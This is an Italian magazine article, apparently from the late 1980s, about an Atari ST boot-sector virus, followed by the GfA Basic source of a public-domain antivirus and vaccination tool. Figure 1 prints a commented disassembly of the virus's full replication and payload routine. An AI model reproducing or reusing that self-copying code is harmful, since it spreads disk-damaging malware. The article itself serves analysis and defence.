di Dino Greco

Un virus sull'ST Peste o raffreddore?

Era inevitabile. Anche l'ST è stato toccato da questa strana forma di flagello di cui potete leggere nell'articolo relativo. Il virus per ST, o meglio i virus hanno caratteristiche variabili a seconda del tipo (o ceppo): di solito sono inattivi e non visibili apparentemente fino ad un certo momento. A questo punto possono combinare una serie di guai, secondo la fantasia del programmatore che non trova un modo utile per servirsi delle sue capacità di programmazione, ammesso che ne abbia. I possibili danneggiamenti riguardano naturalmente solo i file su supporto cancellabile

In realtà il virus elettronico può essere descritto come un qualcosa che funziona secondo il principio della bomba a tempo. Rimane inizialmente nascosto ed apparentemente inattivo (in realtà si moltiplica) e, quando si realizzano certe condizioni, diviene attivo. La condizione può essere un timer collegato alla data o al numero di duplicazioni avvenute; nel caso del virus che prendo in considerazione in questo articolo si tratta di un certo valore che viene scritto in una certa locazione di un settore del disco, sporcandone dunque il contenuto.

Il virus si può installare nella RAM dell'ST quando si effettua il boot-up, dopo un'accensione o un reset, con un disco infettato nel drive di boot, di solito il drive A. Una volta in memoria il virus si installa come prolungamento della funzione di BIOS "get_bpb"; si tratta della routine che viene richiamata dal sistema operativo quando viene letta una nuova directory dopo aver cambiato il disco nel drive o dopo una formattazione. In questo modo il virus può ricopiarsi tutte le volte che si cambia disco e si legge la nuova directory o su un disco appena formattato, mentre il computer è infettato. Per fortuna questo virus non è in grado di ricopiarsi in presenza di protezione antiscrittura e non è resistente al reset.

È evidente che ci troviamo di fronte ad un ingegnoso quanto immorale esperimento di programmazione che può rovinare la nostra collezione di programmi; per questo va rimosso da tutti i dischi ed a questo fine troverete in questa rubrica il programma relativo.

Come funziona questo virus?

Il virus in questione è presente nel bootsector di un disco infetto e viene caricato in memoria solo in seguito ad un boot-up (accensione o reset) da dispositivo *boot*abile. Normalmente nell'ST il bootsector viene caricato in memoria alla locazione $167A (esadecimale); dopo di ciò viene mandato in esecuzione da quell'indirizzo ed adatta la funzione di BIOS "get_bpb" in modo da saltare alla routine del virus in seguito ad una comune chiamata alla vera "get_bpb". Solo a questo punto il controllo viene restituito al computer, ma il sistema è ormai infetto da un virus che rimane allo stato latente.

In figura 1 pubblichiamo il disassemblato di un bootsector infetto, caricato in memoria alla $50000.

In questo aspetto il virus è innocuo, fino a che la «key» non vada a settare i byte dei bootsector 3 e 4 a $1092. Allora cominciano i guai!

In un certo senso però la nostra macchina è fortunata perché la maggior parte dei programmi non necessita che il disco originale venga adoperato senza protezione antiscrittura; in questo modo un primo risultato è certo (o quasi): non è possibile infettare o danneggiare i dischi con protezione antiscrittura inserita.

Se questo è valido per la maggior parte dei dischi di programma non lo è per i dischi di lavoro, quelli che adoperiamo di solito dopo aver caricato il programma e sui quali memorizziamo i file di disegno, di testo, di musica o i listati da noi realizzati. Lo stesso vale per l'hard disk sul quale è teoricamente sempre possibile scrivere. Attenzione in questi casi.

In realtà, dopo alcune ricerche condotte per arrivare ad un risultato in merito alla possibilità di scrivere su un disco con protezione antiscrittura inserita, alcune persone sono arrivate alla conclusione che è *assolutamente impossibile scrivere su un disco protetto antiscrittura.*

Su questo tema si sono espresse diverse personalità, a cominciare da una voce ufficiale dell'Atari Benelux, il sig. Wilfred Kilwinger, che dopo una serie di esperimenti, implicanti anche modifiche hardware, pare sia riuscito a far credere all'ST che il disco inserito fosse senza protezione antiscrittura, mentre era vero il contrario. In seguito a questo errore artificialmente provocato, l'ST non ha esitato a formattare un dischetto con

Figura 1

```
50000 BRA     $050038
5003A LEA     $50000(PC),A0          Carica $50000 in A0
5003E MOVE.L  $0004C6,A1             Carica _dskbufp in A1
50044 ADDA.L  #$00000600,A1          Aggiunge $600 al valore _dskbufp
5004A MOVE.L  A1,A2                  Copia A1 su A2
5004C MOVE.W  #$0100,D0              Lunghezza del settore in D0
50050 MOVE.W  (A0)+,(A1)+            Copia il bootsector al buffer
50052 SUBQ.W  #1,D0
50054 BPL     $050050
50056 LEA     $050064(PC),A0         Indirizzo della routine di install
5005A LEA     $050000(PC),A1
5005E SUBA.L  A1,A0                  Indirizzo Relativo
50060 ADDA.L  A0,A2
50062 JMP     (A2)                   Esegui la routine di install
50064 LEA     $05012C(PC),A0         Indirizzo del buffer per il
                                      vecchio vettore 'get_bpb'
50068 MOVE.L  $000472,(A0)           Copia il vettore 'get_bpb'
5006E LEA     $05007A(PC),A0         Installa il nuovo indirizzo
50072 MOVE.L  A0,$000472             Copialo sul vettore 'get_bpb'
50078 RTS                            Il virus e' ormai installato

La funzione "get_bpb" alterata,  in sostanza il virus stesso  che
viene richiamato con questa, ha quest'aspetto:

5007A LINK    A6,#$0000
5007E MOVE.W  $0008(A6),-(A7)        Numero del drive attivo
50082 MOVE.L  $05012C(PC),A0         Carica il vecchio indir.  'get_bpb'
50086 JSR     (A0)                   Esegui il normale 'get_bpb'
50088 ADDQ.L  #2,A7                  Ripristina lo stack
5008A MOVEM.L D0/A0-A1,-(A7)         Salva i registri per la routine
                                      del virus vero e proprio
5008E LEA     $050130(PC),A0         Carica l'indirizzo del valore $0001
50092 TST.W   (A0)                   $0000?
50094 BEQ     $050124                No: lascia la routine
50098 MOVE.L  $0004C6,A0             Prende _dskbufp
5009E MOVE.W  (A0),D0                Prende i primi due bytes del boot
                                      sector dalla memoria
500A0 CMP.W   #$6038,D0              E' un bootsector infetto?
500A4 BEQ     $050104                Si ! Controlla la "key"
500A6 LEA     $050000(PC),A1         Inizio dell'indir. del bootsector
500AA MOVE.W  (A1)+,(A0)+            Copia il prolungamento al buffer
                                      del disco
500AC MOVE.W  (A1)+,(A0)+            Copia ancora
500AE MOVE.W  (A1)+,(A0)+
500B0 ADDA.L  #$00000032,A1          Salta sul bootsector BPB
500B6 ADDA.L  #$00000032,A0
500BC MOVE.W  #$00E7,D0              Bytes $E7 ancora da copiare
500C0 MOVE.W  (A1)+,(A0)+            Copia al buffer del disco
500C2 SUBQ.W  #1,D0
500C4 BNE     $0500C0
500C6 MOVE.W  #$0001,-(A7)           Flag di un bootsector eseguibile
500CA MOVE.W  #$FFFF,-(A7)           Non cambiare il tipo di disco
500CE MOVE.L  #$FFFFFFFF,-(A7)       Non  cambiare il numero di serie
500D4 MOVE.L  $0004C6,-(A7)          Indirizzo da usare come buffer
500DA MOVE.W  #$0012,-(A7)           Xbios 12, Protobt
500DE TRAP    #14
500E0 MOVE.W  #$0001,-(A7)           Numero settore=1
500E4 CLR.L   -(A7)                  Traccia e lato=0
500E6 MOVE.W  #$0001,-(A7)           Settore=1
500EA MOVE.W  $0008(A6),-(A7)        Dispositivo attivo
500EE CLR.L   -(A7)                  Filler
500F0 MOVE.L  $0004C6,-(A7)          Buffer da scrivere su disco
500F6 MOVE.W  #$0009,-(A7)           Xbios 9, Flopwrite
500FA TRAP    #14
500FC ADDA.L  #$00000022,A7          Stack corretto
50102 BRA     $050124                Lascia la routine del virus
50104 MOVE.W  $0002(A0),D0           Secondo e terzo byte del
                                      bootsector a D0
50108 CMP.W   #$1092,D0              "Key" settata?
5010C BNE     $050124                No: Lascia la routine di virus

Qui cominciano i problemi, sempre che la "key" abbia un valore di
$1092 (hex):

5010E LEA     $050000(PC),A1         Indirizzo del bootsector in A1
50112 MOVE.L  $0002(A1),D0           Indirizzo del valore $10920000
50116 CMP.W   $0004(A0),D0           Compara  con il byte 3  e  4
                                      dell'attuale bootsector
5011A BGT     $050124
5011C JSR     (A0)                   Salto ricorrente - mai esistente
5011E LEA     $050130(PC),A0         Indirizzo del valore $0001
50122 CLR.W   (A0)                   Lo azzera a $0000
50124 MOVEM.L (A7)+,D0/A0-A1         Esce dalla routine di virus
50128 UNLK    A6
5012A RTS
5012C $FC0DE6
50130 $0001
```

protezione antiscrittura, ma quando è stata caricata la directory relativa, le vecchie informazioni erano ancora lì. Conclusione ufficiale ed attendibile dell'Atari Benelux: «La logica interna del drive rende impossibile scrivere su un disco protetto antiscrittura».

Successivamente è stato interpellato l'esperto dei drive per antonomasia, il tedesco sig. Claus Brod (ricordate che la Germania è il mercato dell'ST più evoluto per vendite e programmazione). Questo signore è arrivato alle stesse conclusioni del sig. Kilwinger, però ha aggiunto un *ma*. Pare infatti che esista una tenue possibilità in questo senso se sono attaccati due drive all'ST. È necessario che uno dei due dischi inseriti nei drive sia sprotetto ed in questo modo potrebbe essere possibile ingannare il controller cambiando il drive durante la scrittura e danneggiando così entrambi i dischi. Per fortuna questo può accadere solo con drive NEC FD1036A o EPSON SMD.

Quello dei virus è comunque un fenomeno, come nella medicina, nel quale possono esistere numerose varianti. Il virus che ho descritto appartiene al genere dei virus da bootsector; pare che ne esistano anche altri, cosiddetti appiccicosi, che si legano a file .PRG. Questo tipo di virus è stato concepito per azzerare la FAT del disco se la data settata nel sistema operativo è del 1987; azzerando la FAT si perde irrimediabilmente il contenuto del disco.

Conclusione: prese le opportune precauzioni, non esiste alcun timore di danneggiare i propri file.

— I programmi la cui fonte è incerta (non originali) vanno trattati con attenzione. Lo stesso vale per i programmi di dominio pubblico specialmente se caricati da BBS.

— Inserire quando è possibile i dischetti con la protezione antiscrittura inserita.

— Per cancellare completamente il contenuto della RAM dell'ST un reset non è sufficiente: è necessario tenere spento il computer per 3 secondi in caso di 520 ST, STm ed ST+ (con alimentazione esterna) e per 15 secondi in caso di 520 STfm, 1040 e Mega perché nel primo caso l'interruttore agisce su corrente continua a bassa tensione mentre nel secondo su corrente alternata a 220 V.

— Quando si adopera un programma sospetto, è bene tenere spento un eventuale hard disk e comunque non caricarlo mai su questo.

— I programmi originali, se adoperati con le attenzioni di cui sopra, sono completamente affidabili.

Il programma Antivirus

Il programma Antivirus presentato in queste pagine, è di Dominio Pubblico ed è scritto in GfA Basic 2.0. Le sue principali caratteristiche sono:

1 - riconosce e distrugge automaticamente il virus sui dischi infetti.

2 - Un disco precedentemente infetto viene anche «vaccinato» in modo tale che non possa più essere infettato.

3 - È anche possibile vaccinare dischi normali, non infetti.

4 - I casi dubbi, quando viene identificato un bootsector eseguibile, vengono mostrati. In questo modo è possibile liberarsi anche da altri virus che sfruttano lo stesso metodo; va ricordato però che alcuni programmi, quelli che partono in auto-boot, hanno il bootsector eseguibile per altri motivi.

5 - Riconosce se un virus è già presente in memoria RAM e si rifiuta di girare. Se un virus dovesse replicarsi sul dischetto dell'antivirus, è sufficiente effettuare il boot-up con un disco sicuro e poi caricare l'Antivirus che provvederà a vaccinare il suo stesso disco.

Le caratteristiche 2 e 3 riguardano, ovviamente, virus del tipo corrente. Eventuali virus futuri potranno violare tale tipo di protezione.

Una lista di programmi che partono in auto-boot (nella versione originale), da non confondere con programmi infetti, è la seguente: Deep Space, Arena, Brataccas, Starglider, Barbarian, Terrorpods, Obliterator, Sapiens, Sentinel, tutti i dischi Aladin, Tai Pan. In questi casi l'uso dell'Antivirus può danneggiare i programmi elencati.

Il programma è semplice ed esplicito; con esso si può iniziare una santa battaglia contro quei dischetti infetti dai virus. Per il bene vostro e di tutta la comunità degli utenti ST, fateli fuori!

Chi ordinerà il programma in redazione (DST/01 Virus Killer) troverà anche una nuova versione aggiornata che non abbiamo pubblicato non disponendo del sorgente ma solo del compilato. Ricordiamo che le 15.000 lire chieste per il dischetto sono solo a copertura delle spese di spedizione, copia e costo dischetto (inclusa l'IVA).

1

```
'       VDU - 1'Antivirus
'       Scritto dalla ACC
'        18 Dicembre 1987
'
' Questo programma e` di Dominio Pubblico!
' puo` essere copiato e ceduto liberamente
' solo nellaforma originale!
'
' *** Inizializzazione variabili
'
Starttime%=Timer          !Prende il tempo di partenza
Os%=Lpeek(&H4F2)          !Prende l'indirizzo del sistema operativo
If Peek(Os%+1)=&H1E       !ST normale?
  Wp%=&H9B2               !Status antiscrittura
Else                      !MEGA ST?
  Wp%=&H9F8               !Status antiscrittura
Endif
Bp%=&H472                 !Indirizzo del puntatore BIOS 'Get_bpb'
Ad%=&H4C2                 !_Drvbits, drives collegati
Disk$=Space$(512)         !Buffer di disco
'
' *** Sequenza di partenza
'
Alert 1,"THE VIRUS DESTRUCTION UTILITY V2.0!Scritto dalla ACC per ST
        NEWS!Grazie a STRIKE-a-LIGHT",1,"OK!More!Cancel",Buf%
If Buf%=2
  Alert 1,"Versione 2.0!!Riconosce dischi '1st Freezer' disks!e
      materiale con boot non-exec.",1,"OK",Dummy%
  Alert 1,"An ST NEWS Production",1,"OK",Dummy%
  Alert 1,"Il computer va spento!prima di utilizzare!questo programma
      !",1,"OK",Dummy%
  Alert 1,"Quando viene scoperto un virus,!viene eliminato!
      automaticamente!",1,"OK",Dummy%
  Alert 1,"Anche casi dubbi!vengono riconosciuti...",1,"OK",Dummy%
  Alert 1,"In casi sicuri al 100%, e`!possibile vaccinare il disco!in
      modo da renderlo non piu` infettabile!dall'attuale  ST
      virus.",1,"OK",Dummy%
Endif
If Buf%=3
  Edit
Endif
'
' *** Si sceglie il drive sul quale controllare
'
Alert 2,"Quale drive va controllato?",1,"A!B",Buf%
Devno%=Buf%-1
'
'
Ac$=Bin$(Lpeek(Ad%))      !Prende i drives attivi
If Len(Ac$)>2             !RAM- e/o hard disks presenti
  Norm%=False
Else                      !Solo drive A o A+B presenti
  Norm%=True
Endif
'
' *** Controlla se il computer e` infetto
'
Buf%=Lpeek(Bp%)           !Prende il puntatore 'Bpb_get'
If Buf%<Os%               !Puntatore a RAM?
```

3

```
Endif
If Safe%=True       !primi due bytes zero?
  Alert 1,"Questo disco e` OK!!(ma non vaccinato)",1,"OK!
        Vaccinazione",Dummy%
  If Dummy%=2
    @Immunize
  Endif
  Goto The_end
Endif
If Curvir%=True And Key%=True     !Virus presente e "key" settata?
  Alert 1,"Attenzione! Questo disco non!solo e` infetto ma!
          la 'key' e` settata!!",1,"Riparazione!",Dummy%
  @Repair
  Goto The_end
Endif
If Curvir%=True And Execflag%=False  !Boot sector infetto ma
                  non eseguibile?
  Alert 1,"Il virus e` presente!sul disco, ma non!e` pericoloso
        ...",1,"Riparazione!Cancella",Dummy%
  If Dummy%=1
    @Repair
  Endif

  Goto The_end
Endif
If Curvir%=True                   !Bootsector infetto eseguibile?
  Alert 1,"Questo disco e` infetto!",1,"Riparazione!",Dummy%
  @Repair
  Goto The_end
Endif
If Freezer%=True And Execflag%=True   !Disco eseguibile 1st Freezer
  Alert 1,"Questo e` un disco '1st Freezer'!E` eseguibile!ma non
        c'e` virus.....!(E` sicuro)",1,"OK",Dummy%
  Goto The_end
Endif
If Freezer%=True       !Disco 1st Freezer ma non eseguibile (?!)
  Alert 1,"Questo e` un disco '1st Freezer',!ma non e`
          eseguibile?!?!!Non c'e` virus, comunque.!(Il disco
          e` sicuro)",1,"OK",Dummy%
  Goto The_end
Endif
If Execflag%=True                 !Settore eseguibile? Attenzione!
  Alert 1,"Questo disco e` eseguibile!!Puo` essere un disco!
          auto-bootdisk o un virus sconosciuto...",1,
          "Riparazione!Cancella",Dummy%
  If Dummy%=1
    @Repair
  Endif
  Goto The_end
Endif
If Immu%=True             !Disco vaccinato
  Alert 1,"Questo disco e` OK!!(e` anche vaccinato)",1,"OK",Dummy%
  Goto The_end
Else
  Alert 1,"Questo disco non e` eseguibile!ma non e` sicuro!
          al 100%..C'e` qualcosa!scritto nel bootsector
          !",1,"Riparazione!Cancella",Buf%
  If Buf%=1
    @Repair
```

```
  If Norm%=True Or Lpeek(Buf%+4)=&H3F2E0008 !Riconoscimento del virus
    Alert 1,"Caspita!!Il tuo computer e` gia`!infetto da un virus!",1,
          "Uffa",Dummy%
    Edit
  Endif
Endif
Do
  '
  ' *** Legge il bootsector
  '
  Buf%=Xbios(8,L:Varptr(Disk$),L:0,Devno%,1,0,0,1)
  If Buf%<>0
    Alert 1,"C'e` stato un errore durante!la lettura del boot sector
            ....!Il disco e` formattato?",1,"OK",Dummy%
    Goto The_end
  Else
    '
    ' *** Controlla l'eseguibilita` del boot sector
    '
    Exec%=Dpeek(Varptr(Disk$)+510)    !Checksum del buffer
    Void Xbios(18,L:Varptr(Disk$),L:-1,-1,1)
    Exed%=Dpeek(Varptr(Disk$)+510)    !Nuova checksum
    If Exec%=Exed%                    !Confronta le checksums
      Execflag%=True                  !Uguali? Allora eseguibile
    Else
      Execflag%=False
    Endif
    '
    ' *** Controlla il bootsector Atari
    '
    If Dpeek(Varptr(Disk$))=&H6038 And Dpeek(Varptr(Disk$)+&H50)=
    =&H4A80 And Dpeek(Varptr(Disk$)+&H100)=&HB645 And Lpeek(Varptr
    (Disk$)+&H180)=&H20417461
      Atari%=True
    Else
      Atari%=False
    Endif
    '
    ' *** Controlla il virus
    '
    If Dpeek(Varptr(Disk$))=&H6038 And Lpeek(Varptr(Disk$)+&H7A)=
    =&H4E560000 And Lpeek(Varptr(Disk$)+&HE0)=&H3F3C0001
      Curvir%=True
    Else
      Curvir%=False
    Endif
    '
    ' *** Controlla il settaggio della "key"
    '
    If Dpeek(Varptr(Disk$)+2)=&H1092
      Key%=True


    Else
      Key%=False
    Endif
    '
    ' *** Controlla se dischi "1st Freezer"
    '
    If Mid$(Disk$,&HF5,7)="freezer"
      Freezer%=True
    Else
      Freezer%=False
    Endif
    '
    ' *** Controlla se sicuro 100%
    '
    If Dpeek(Varptr(Disk$))=&H0
      Safe%=True
    Else
      Safe%=False
    Endif
    '
    ' *** Controlla se 'vaccinato'
    '
    If Dpeek(Varptr(Disk$))=&H6038
      Immu%=True
    Else
      Immu%=False
    Endif
    '
    ' *** Mostra i risultati del controllo
    '
    If Atari%=True        !Bootsector Atari?
      Alert 1,"Questo disco e` OK!!(e gia` vaccinato)",1,"OK",Dummy%
      Goto The_end
```

2

```
      Endif
      Goto The_end
    Endif
  Endif
  The_end:
  Alert 2,"Controllo un altro disco?",1,"SI!NO",Dummy%
  Exit If Dummy%=2
Loop
Time%=(Timer-Starttime%)/200
Minute%=Time%/60
Second%=Time%-(Minute%*60)
Minute$=Str$(Minute%)+"'"+Str$(Second%)+Chr$(34)
Counter$=Str$(Counter%)
Alert 1,"Questa sessione e` durata "+Minute$+"!e "+Counter$+" virus
        sono stati distrutti.",1,"OK",Dummy%
Alert 1,"Se incontrate la persona!che ha creato il virus, ditegli
        di andare a quel paese!!!",1,"OK",Dummy%
Alert 1,"I realizzatori di virus!sono completamente ignoranti di!
        qualsiasi senso di responsabilita`!",1,"OK",Dummy%

Edit
Procedure Repair
  If Devno%<2                 !Drive A o B?
    Again:
    If Peek(Wp%+Devno%)=255   !Controlla se il disco e` protetto
                              antiscrittura
      Alert 1,"Togliere la protezione antiscrittura!cosi` che
               possa riparare!il disco!",1,"OK!Cancella",Dummy%
      If Dummy%=2
        Goto Cancel
      Endif
      Goto Again
    Endif
  Endif
  '
  ' *** Cancella il virus
  '
  Dpoke (Varptr(Disk$)+2),0 !Cancella il II e III byte (key).
                            Lascia 'vaccinato' intatto
  For X%=32 To 511          !Cancella dati irrilevanti del bootsector
    Poke (Varptr(Disk$)+X%),0
  Next X%
  '
  ' *** Riscrivi il bootsector (riparato)
  '
  Buf%=Xbios(9,L:Varptr(Disk$),L:0,Devno%,1,0,0,1)
  If Buf%<>0
    Alert 1,"Errore di scrittura del boot sector!",1,"OK",Dummy%
  Else
    Inc Counter%
  Endif
  Cancel:
Return
Procedure Immunize
  If Devno%<2                 !Drive A o B?
    Wider:
    If Peek(Wp%+Devno%)=255   !Controlla se il disco e` protetto
                              antiscrittura
      Alert 1,"Togliere la protezione antiscrittura!cosi` che
               possa vaccinare!il disco!",1,"OK!Cancella",Dummy%
      If Dummy%=2
        Goto Outof
      Endif
      Goto Wider
    Endif
  Endif
  '
  ' *** POKE i bytes che il virus usa per riconoscere se e`
  '     gia` presente
  '
  Lpoke (Varptr(Disk$)),&H60380000
  '
  ' *** Riscrive il bootsector (riparato)
  '
  Buf%=Xbios(9,L:Varptr(Disk$),L:0,Devno%,1,0,0,1)
  If Buf%<>0
    Alert 1,"Errore di scrittura del boot sector!",1,"OK",Dummy%
  Endif
  Outof:
Return
```

4

È disponibile, presso la redazione, il disco con il programma pubblicato in questo articolo. Le istruzioni per l'acquisto e l'elenco degli altri programmi disponibili sono a pag. 249.